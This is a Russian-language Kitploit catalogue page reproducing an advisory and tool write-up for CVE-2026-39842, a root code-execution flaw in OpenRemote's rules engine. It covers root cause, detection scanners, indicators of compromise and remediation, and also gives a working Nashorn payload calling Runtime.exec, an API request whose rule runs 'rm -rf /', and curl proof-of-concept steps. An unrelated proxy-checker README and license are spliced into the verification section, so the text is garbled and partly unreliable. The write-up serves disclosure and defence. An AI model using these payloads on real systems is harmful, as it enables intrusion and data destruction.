Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39842 — Критическая уязвимость удалённого выполнения кода в Rules Engine от OpenRemote позволяет аутентифицированным пользователям с ролью `write:rules` выполнять произвольный код на сервере с правами root. | Kitploit
Инструменты/GitHubGitHub/keraattin/cve-2026-39842
РазведкаСканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubkeraattin/cve-2026-39842

CVE-2026-39842

Критическая уязвимость удалённого выполнения кода в Rules Engine от OpenRemote позволяет аутентифицированным пользователям с ролью `write:rules` выполнять произвольный код на сервере с правами root.

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39842: Выполнение произвольного кода через внедрение выражений в Rules Engine OpenRemote

CVE-2026-39842 CVSS 10.0 Critical CWE-94 CWE-917 OpenRemote Status FIXED

Краткое описание

Критическая уязвимость удалённого выполнения кода в Rules Engine OpenRemote позволяет аутентифицированным пользователям с ролью write:rules выполнять произвольный код на сервере с правами root.

  • Оценка CVSS: 10.0 (Critical)
  • Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Затронутые версии: OpenRemote <= 1.21.0
  • Исправленная версия: OpenRemote >= 1.22.0
  • Требуется аутентификация: Да (роль write:rules, может быть не суперпользователем)
  • Эксплуатация: RCE от имени root, доступ к файловой системе, кража переменных окружения, утечка данных в мультитенантной среде
  • Консультация: GHSA-7mqr-33rv-p3mp

Содержание

  • Краткие факты
  • Что такое OpenRemote?
  • Глубокий анализ уязвимости
  • Анализ воздействия
  • Затронутые версии
  • Обнаружение
  • Индикаторы компрометации
  • Устранение
  • Ссылки
  • Автор

Краткие факты


Что такое OpenRemote?

OpenRemote — это платформа Интернета вещей с открытым исходным кодом для создания умных зданий, городов и промышленных объектов. Она предоставляет управление устройствами, правила автоматизации, аналитику и интеграции для экосистемы Интернета вещей.

Ключевые возможности

  • Управление устройствами и активами через несколько протоколов (MQTT, Modbus, BACnet, HTTP)
  • Механизм правил для автоматизации IoT и обработки логики
  • Мультитенантная архитектура с управлением доступом на основе ролей
  • Информационные панели и мониторинг в реальном времени
  • Создание пользовательских правил с использованием нескольких языков сценариев
  • REST API для интеграции и управления
  • Варианты развёртывания в облаке и локально

Архитектура OpenRemote```

root@kitploit:~
                  Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘

root@kitploit:~
---

## Глубокий анализ уязвимости

### Анализ первопричины

Уязвимость проистекает из двух критических недостатков в Rules Engine проекта OpenRemote:

**Недостаток 1: Неизолированный движок JavaScript Nashorn**

Движок JavaScript Nashorn (Java) используется для оценки пользовательских выражений правил без какой-либо изоляции, менеджера безопасности или ограничений ClassFilter. Это позволяет злоумышленникам получать прямой доступ к классам Java из контекста JavaScript.

**Недостаток 2: Отключенная изоляция Groovy**

В движке сценариев Groovy был зарегистрирован GroovyDenyAllFilter для предотвращения выполнения кода, однако эта регистрация фильтра была закомментирована в кодовой базе. На уровне API применялось только ограничение для Groovy (RulesResourceImpl.java:262), тогда как для JavaScript никаких ограничений не существовало.

### Уязвимые пути выполнения кода```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

Обход авторизации

Уязвимость затрагивает аутентифицированных пользователей с ролью write:rules. Проверка авторизации в RulesResourceImpl.java:262 блокирует Groovy только для пользователей, не являющихся суперпользователями:``` if (!isUserSuperuser && isGroovy) { throw new UnauthorizedException("Groovy rules not allowed"); }

root@kitploit:~
Это означает:
- Не-суперпользователи МОГУТ создавать JavaScript-правила (без блокировки)
- Не-суперпользователи НЕ МОГУТ создавать Groovy-правила (заблокировано)
- JavaScript не имеет песочницы, поэтому эксплуатация возможна для любого аутентифицированного пользователя с правами write:rules

Кроме того, изоляцию мультитенантности можно обойти через рефлексию на assetStorageService для доступа к данным других тенантов.

### Вектор атаки```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

Пошаговая эксплуатация

Шаг 1: Получение учетных данных write:rules

Аутентифицированному пользователю требуется роль write:rules. Это может быть:

  • Легитимный системный администратор
  • Скомпрометированная учетная запись
  • Пользователь с избыточными назначенными ролями

Шаг 2: Создание JavaScript-полезной нагрузки

Создайте выражение правила с использованием JavaScript, которое обращается к Java Runtime:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;

root@kitploit:~
**Шаг 3: Отправка на уязвимую конечную точку**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

Шаг 4: Выполнение правила

Платформа оценивает правило немедленно или в запланированное время срабатывания, выполняя полезную нагрузку с привилегиями root.

Шаг 5: Пост-эксплуатация

Имея RCE с правами root, атакующие могут:

  • Читать конфиденциальные файлы (/etc/passwd, конфигурации приложений)
  • Похищать переменные окружения, содержащие ключи API и учетные данные
  • Изменять системную конфигурацию
  • Устанавливать бэкдоры или механизмы сохранения доступа
  • Получать прямой доступ к базе данных PostgreSQL
  • Нарушать целостность данных всех арендаторов в многопользовательских развертываниях

Анализ воздействия

Серьезность: КРИТИЧЕСКАЯ (CVSS 10.0)

Удаленное выполнение кода

Аутентифицированные атакующие выполняют произвольный код на сервере OpenRemote с привилегиями root. Это воздействие наивысшей степени серьезности, позволяющее полностью скомпрометировать систему.``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
#### Доступ к файловой системе

Полный доступ на чтение и запись ко всем файлам в системе:

- Раскрытие исходного кода приложения
- Чувствительные конфигурационные файлы (пароли баз данных, ключи API)
- Системные файлы и учетные данные
- Файлы Docker-контейнеров (если используется контейнеризация)

#### Кража переменных окружения

Доступ к переменным окружения, содержащим:
- Строки подключения к базам данных
- Ключи API и токены
- Секреты OAuth
- Приватные ключи шифрования
- Учетные данные AWS/Cloud

#### Утечка данных

В мультитенантных развертываниях злоумышленники могут обойти изоляцию тенантов с помощью рефлексии:

- Доступ к данным всех тенантов одновременно
- Чтение конфиденциальных данных IoT-датчиков
- Изменение правил автоматизации в разных организациях
- Извлечение бизнес-аналитики и конфиденциальной информации

#### Целостность системы

- Установка постоянного бэкдора
- Развертывание вредоносного ПО
- Выполнение программ-вымогателей
- Компрометация цепочки поставок (при использовании в разработке)

#### Нарушение работы сервиса

- Отказ в обслуживании из-за исчерпания ресурсов
- Удаление или повреждение базы данных
- Вмешательство в конфигурацию
- Завершение работы или перезагрузка системы

---

## Затронутые версии

| Версия | Статус | Примечания |
|---------|--------|-------|
| <= 1.15.0 | Уязвима | Исходная уязвимость присутствует |
| 1.16.0 | Уязвима | Исправления не применены |
| 1.17.0 | Уязвима | Исправления не применены |
| 1.18.0 | Уязвима | Исправления не применены |
| 1.19.0 | Уязвима | Исправления не применены |
| 1.20.0 | Уязвима | Исправления не применены |
| 1.21.0 | Уязвима | Последняя затронутая версия |
| 1.22.0+ | ИСПРАВЛЕНО | Движок правил JavaScript полностью удален |

### Сведения о версиях

- **Уязвимый диапазон**: с 1.0.0 по 1.21.0 (все версии с движком правил JS)
- **Исправленная версия**: 1.22.0 (движок правил JavaScript полностью удален)
- **Бэкпорты**: Бэкпорты безопасности для старых версий недоступны; требуется обновление

---

## Обнаружение

### Как это работает

Механизмы обнаружения идентифицируют экземпляры OpenRemote и проверяют статус уязвимости несколькими методами:

1. **Обнаружение по HTTP-баннеру**: Запрос к корневой конечной точке API для идентификации OpenRemote и извлечения информации о версии
2. **Снятие отпечатков конечных точек**: Проверка уязвимых конечных точек на наличие и поведение
3. **Сопоставление версий**: Сравнение обнаруженной версии с известными диапазонами уязвимости
4. **Анализ ответов**: Изучение сообщений об ошибках и структуры ответов на признаки OpenRemote

### Python-сканер

Сканер `detect_openremote.py` выполняет автоматическое обнаружение и оценку уязвимости.

#### Установка```bash
python3 -m pip install requests

Использование```bash

python3 detect_openremote.py [OPTIONS]

root@kitploit:~
#### Параметры

| Параметр | Короткий | Длинный | Тип | Описание |
|----------|----------|---------|-----|----------|
| Цель | -t | --target | string | URL одной цели (например, http://10.0.0.1:8080) |
| Список | -l | --list | file | Файл со списком целей (по одной в строке) |
| Вывод | -o | --output | file | Запись результатов в CSV-файл |
| Подробный | -v | --verbose | flag | Включить подробный вывод с детальными ответами |
| Таймаут | | --timeout | int | Таймаут HTTP-запроса в секундах (по умолчанию: 10) |
| Баннер | | --no-banner | flag | Пропустить вывод баннера |

#### Пример: Одна цель```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

Ожидаемый результат:``` [*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+

root@kitploit:~
#### Пример: Несколько целей с выводом```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

Файл targets.txt:``` http://192.168.1.100:8080 http://192.168.1.101:8080 https://openremote.example.com:8443 http://10.20.30.40:8080

root@kitploit:~
Ожидаемый вывод в `results.csv`:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

Пример: Подробный вывод```bash

python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner

root@kitploit:~
Ожидаемый подробный вывод:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES

Nmap NSE Script

Скрипт openremote-detect.nse обеспечивает интеграцию Nmap для сканирования уязвимостей.

Установка```bash

cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb

root@kitploit:~
#### Использование```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>

Пример: базовое сканирование```bash

nmap -p 8080 --script openremote-detect 192.168.1.0/24

root@kitploit:~
Ожидаемый результат:```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.21.0
|   Vulnerable: YES
|   CVE: CVE-2026-39842
|_  CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.22.1
|   Vulnerable: NO
|   Fixed Version: 1.22.0
|_  Status: Patched

Пример: подробное сканирование```bash

nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100

root@kitploit:~
Ожидаемый подробный вывод:```
| openremote-detect:
|   Host: 192.168.1.100:8080
|   Detection Method: HTTP Banner Analysis
|   Probe Endpoint: /api/info
|   Response Code: 200
|   Version: 1.21.0
|   Version Detected: YES
|   Vulnerable: YES
|   CVE-2026-39842: AFFECTED
|   CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|   CVSS Score: 10.0
|   Fix Available: YES
|   Fixed Version: 1.22.0
|   Authentication Required: YES
|   Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_  Endpoint Vulnerable: POST /api/{realm}/rules/asset

Manual Verification

Выполните ручные проверки с помощью curl для подтверждения уязвимости:

1. Определите версию OpenRemote```bash curl -s http://target:8080/api/info | jq .

root@kitploit:~
## Features

- **Multi-Protocol Support**: Works with HTTP, HTTPS, SOCKS4, SOCKS5, and SOCKS5H proxies.
- **High Performance**: Asynchronous I/O and connection pooling for maximum throughput.
- **Flexible Input**: Accepts proxy lists from files or stdin.
- **Customizable Output**: Saves results to a file or prints to stdout.
- **Verbose Mode**: Detailed logging for debugging and monitoring.
- **Lightweight**: Minimal dependencies, easy to deploy.

## Installation

```bash
git clone https://github.com/example/proxy-checker.git
cd proxy-checker
pip install -r requirements.txt

Usage

root@kitploit:~
python proxy_checker.py -i proxies.txt -o valid.txt -t http

Options

Example

root@kitploit:~
# Check HTTP proxies from file
python proxy_checker.py -i proxies.txt -o valid.txt -t http

# Check SOCKS5 proxies with verbose output
python proxy_checker.py -i socks.txt -o valid_socks.txt -t socks5 -v

# Pipe proxies from another command
cat proxies.txt | python proxy_checker.py -t https

License

MIT License

Copyright (c) 2024 Proxy Checker Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.```json { "version": "1.21.0", "name": "OpenRemote", "instanceId": "instance-123" }

root@kitploit:~
**2. Проверка конечной точки правил**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20

Если возвращается 401 или 403, конечная точка существует, но требует аутентификации.

3. Аутентификация и тестирование инъекции выражений```bash curl -X POST
-H "Content-Type: application/json"
-H "Authorization: Bearer YOUR_TOKEN"
-d '{ "name": "test_rule", "trigger": "timer", "ruleExpression": "1 + 1" }'
http://target:8080/api/master/rules/realm

root@kitploit:~
Если создание прошло успешно и версия <= 1.21.0, экземпляр уязвим.

**4. Тест выполнения JavaScript (Proof of Concept)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm

5. Определите имя Realm```bash curl -s -H "Authorization: Bearer TOKEN"
http://target:8080/api/admin/realms | jq .[].name

root@kitploit:~
Common realm names: `master`, `default`, `main`

---

## Индикаторы компрометации

### Индикаторы в журналах

Ищите в журналах приложений следующие шаблоны:

**Создание правила с JavaScript-нагрузкой**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"

Попытки выполнения команд в правилах``` Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"

root@kitploit:~
**Неожиданное выполнение процесса из Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process

Аномалии доступа к файловой системе``` Pattern: Unexpected file reads from application directory Files to monitor:

  • /opt/openremote/config/
  • /opt/openremote/.env
  • /root/.ssh/
  • /etc/passwd
root@kitploit:~
**Шаблоны доступа к базе данных**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)

Network Indicators

Исходящие соединения из процесса OpenRemote``` netstat -tlnp | grep -i java Look for: Unexpected ESTABLISHED connections Example: java process connecting to external C2 servers

root@kitploit:~
**Обратные вызовы reverse shell**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'

Попытки бокового перемещения``` Pattern: Connections to internal resources (databases, APIs) From: OpenRemote process To: Database servers, internal APIs, SSH services

root@kitploit:~
### Индикаторы файловой системы

**Подозрительные файлы в каталоге OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*

Модифицированные бинарные файлы OpenRemote``` find /opt/openremote -type f -newer /opt/openremote/VERSION.txt find /opt/openremote -name "*.jar" -exec sha256sum {} ; | compare with known hashes

root@kitploit:~
**Задания Cron или постоянного выполнения**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'

Индикаторы памяти и процессов

Подозрительные переменные окружения``` cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'

root@kitploit:~
**Резидентные в памяти полезные нагрузки**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'

Устранение

НЕМЕДЛЕННЫЕ ДЕЙСТВИЯ (0-24 часа)

1. Обновитесь до исправленной версии

Полное исправление доступно только в OpenRemote 1.22.0+, где полностью удалён движок правил на JavaScript.```bash

Backup current installation

cp -r /opt/openremote /opt/openremote.backup.1.21.0 mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

Download and install 1.22.0+

wget https://releases.openremote.io/openremote-1.22.0.tar.gz tar -xzf openremote-1.22.0.tar.gz -C /opt/ systemctl restart openremote

Verify version

curl -s http://localhost:8080/api/info | jq .version

root@kitploit:~
**2. Ограничение доступа к API**

Если немедленное обновление невозможно, ограничьте доступ к уязвимым конечным точкам на уровне межсетевого экрана/обратного прокси-сервера:```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}

3. Аудит активных правил

Перечислите все существующие правила и проверьте их на наличие подозрительного JavaScript:```bash curl -s -H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/master/rules/realm |
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'

root@kitploit:~
Удалите любые правила, содержащие Java interop:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}

4. Просмотр журналов доступа

Проверьте попытки эксплуатации за последние 30 дней:```bash grep -r "rules/realm|rules/asset" /opt/openremote/logs/ |
grep -i "java|runtime|exec|type"

root@kitploit:~
**5. Ротация учётных данных**

Ротируйте все учётные данные, которые потенциально могли быть скомпрометированы:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets

КРАТКОСРОЧНЫЕ ДЕЙСТВИЯ (1–7 дней)

1. Сегментация сети

Ограничьте доступ к API OpenRemote только авторизованными сетями:```

  • Block external internet access to port 8080
  • Implement VPN/SSO requirement for API access
  • Use API gateway with authentication/authorization
root@kitploit:~
**2. Аудит ролей**

Просмотрите и минимизируйте количество пользователей с ролью `write:rules`:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'

Удалите роль write:rules у всех необязательных пользователей.

3. Включите журналирование запросов

Настройте подробное журналирование для всех API-запросов:```yaml

application.properties

logging.level.org.openremote.manager.rules=DEBUG logging.level.org.openremote.manager.rules.RulesResource=TRACE

root@kitploit:~
**4. Аудит базы данных**

Поиск в базе данных вредоносных правил, созданных после определённой даты:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);

5. Охота за угрозами

Запустите полные проверки безопасности на сервере OpenRemote:```bash

ClamAV malware scan

clamscan -r --remove /opt/openremote/

Check for backdoors

chkrootkit rkhunter --check --skip-warnings

File integrity verification

aide --check

root@kitploit:~
### ДОЛГОСРОЧНЫЕ ДЕЙСТВИЯ (7–30 дней)

**1. Полное усиление системы**

- Запускайте OpenRemote в контейнере с ограниченными привилегиями (не от root)
- Внедрите политики SELinux или AppArmor
- Используйте файловые системы только для чтения, где это возможно
- Включите аудит журналирования на уровне системы

**2. Внедрение контроля доступа**

- Внедрите многофакторную аутентификацию для администраторов
- Используйте OAuth2/OIDC для доступа к API вместо токен-аутентификации
- Реализуйте принцип минимальных привилегий для всех ролей
- Регулярные проверки доступа и аттестация

**3. Безопасность приложений**

- Внедрите правила Web Application Firewall (WAF) для механизма правил
- Включите ограничение частоты запросов на чувствительных конечных точках
- Внедрите ограничения размера запросов
- Строго проверяйте все пользовательские входные данные

**4. Мониторинг и оповещение**

Разверните правила обнаружения SIEM:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM

5. План реагирования на инциденты

Создайте и протестируйте процедуры реагирования на инциденты:

  • Шаги по изоляции скомпрометированных экземпляров OpenRemote
  • Процедуры сбора криминалистических данных
  • Процедуры уведомления затронутых клиентов
  • Процедуры восстановления и очистки
  • Разборы после инцидентов

6. Постоянный мониторинг

Внедрите непрерывный мониторинг безопасности:```bash

Daily vulnerability scan

nmap -p 8080 --script openremote-detect
$(cat /etc/openremote/monitored_hosts.txt)
--script-args 'onerror=continue'
-oX /var/log/openremote-scan.xml

Automated alerts for vulnerable versions

if version <= 1.21.0; then send_alert "CVE-2026-39842: Unpatched OpenRemote detected" fi

root@kitploit:~
---

## Ссылки

- **Официальное уведомление**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Запись CVE**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Запись NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Репозиторий OpenRemote**: https://github.com/openremote/openremote
- **Безопасность OpenRemote**: https://openremote.io/security
- **CWE-94 Внедрение кода**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 Внедрение EL**: https://cwe.mitre.org/data/definitions/917.html
- **Калькулятор CVSS**: https://www.first.org/cvss/calculator/3.1
- **Безопасность Nashorn**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## Автор

**Kerem Oruc**

Исследователь безопасности, раскрытие уязвимостей

По вопросам, отчётам или дополнительной информации об этой уязвимости, пожалуйста, свяжитесь с автором через каналы ответственного раскрытия.

---

**Последнее обновление**: 2026-04-16
**Версия**: 1.0
**Статус**: Публичный
Скачать инструмент
АспектДетали
ID CVECVE-2026-39842
ID GHSAGHSA-7mqr-33rv-p3mp
Тип уязвимостиВнедрение кода / внедрение выражений
Оценка CVSS10.0 (Critical)
CWECWE-94, CWE-917
ПродуктOpenRemote
Затронутые версии<= 1.21.0
Исправленная версия>= 1.22.0
Требуется аутентификацияДа
Необходимый уровень привилегийРоль write:rules (не суперпользователь)
Уязвимые конечные точкиPOST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset
Уровень выполнения RCEroot
ЭксплуатируемостьВысокая
СложностьНизкая
Дата обнаружения2026
OptionDescription
-i, --inputInput file containing proxies (one per line)
-o, --outputOutput file for valid proxies
-t, --typeProxy type: http, https, socks4, socks5, socks5h
-v, --verboseEnable verbose output
-h, --helpShow help message